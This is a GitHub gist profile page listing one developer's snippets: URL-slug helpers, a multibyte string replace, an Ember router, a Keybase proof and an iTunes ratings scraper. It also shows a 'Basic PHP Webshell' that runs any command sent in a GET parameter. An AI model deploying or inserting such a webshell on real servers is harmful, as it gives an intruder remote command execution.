Skip to content

Instantly share code, notes, and snippets.

View sgmurphy's full-sized avatar

Sean Murphy sgmurphy

View GitHub Profile
@sgmurphy
sgmurphy / 5f52b2db3758560ff898f74c067aff12.php
Last active September 25, 2024 01:31
Basic PHP Webshell
<html>
<body>
<form method="GET">
<input type="text" name="cmd" id="cmd" autofocus>
<input type="submit" value="Run!">
</form>
<pre>
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd'] . ' 2>&1');
@sgmurphy
sgmurphy / router.js
Last active January 3, 2019 07:36
Ember error pages
import Ember from 'ember';
import config from './config/environment';
const Router = Ember.Router.extend({
location: config.locationType,
rootURL: config.rootURL
});
Router.map(function() {
// app routes

Keybase proof

I hereby claim:

  • I am sgmurphy on github.
  • I am sgmurphy (https://keybase.io/sgmurphy) on keybase.
  • I have a public key whose fingerprint is 4948 DD81 CF99 3510 DFF0 44A6 A6D8 401E D683 98F5

To claim this, I am signing this object:

@sgmurphy
sgmurphy / url_slug.php
Created July 12, 2012 15:52
URL Slugs in PHP (with UTF-8 and Transliteration Support)
<?php
/**
* Create a web friendly URL slug from a string.
*
* Although supported, transliteration is discouraged because
* 1) most web browsers support UTF-8 characters in URLs
* 2) transliteration causes a loss of information
*
* @author Sean Murphy <sean@iamseanmurphy.com>
* @copyright Copyright 2012 Sean Murphy. All rights reserved.
@sgmurphy
sgmurphy / mb_str_replace.php
Created July 12, 2012 15:21
mb_str_replace for PHP
<?php
/**
* Replace all occurrences of the search string with the replacement string.
*
* @author Sean Murphy <sean@iamseanmurphy.com>
* @copyright Copyright 2012 Sean Murphy. All rights reserved.
* @license http://creativecommons.org/publicdomain/zero/1.0/
* @link http://php.net/manual/function.str-replace.php
*
* @param mixed $search
@sgmurphy
sgmurphy / url_slug.js
Created July 12, 2012 02:05
URL Slugs in Javascript (with UTF-8 and Transliteration Support)
/**
* Create a web friendly URL slug from a string.
*
* Requires XRegExp (http://xregexp.com) with unicode add-ons for UTF-8 support.
*
* Although supported, transliteration is discouraged because
* 1) most web browsers support UTF-8 characters in URLs
* 2) transliteration causes a loss of information
*
* @author Sean Murphy <sean@iamseanmurphy.com>
@sgmurphy
sgmurphy / podcast-ratings.php
Created February 21, 2012 19:31
Scrape ratings from iTunes store
<?php
/**
* Scrape the number of podcast reviews from iTunes for all country specific storefronts.
*
* @author Sean Murphy <sean@iamseanmurphy.com>
*/
$podcast_id = '366931951'; // Startups For the Rest of Us
//$podcast_id = '318567721'; // techzing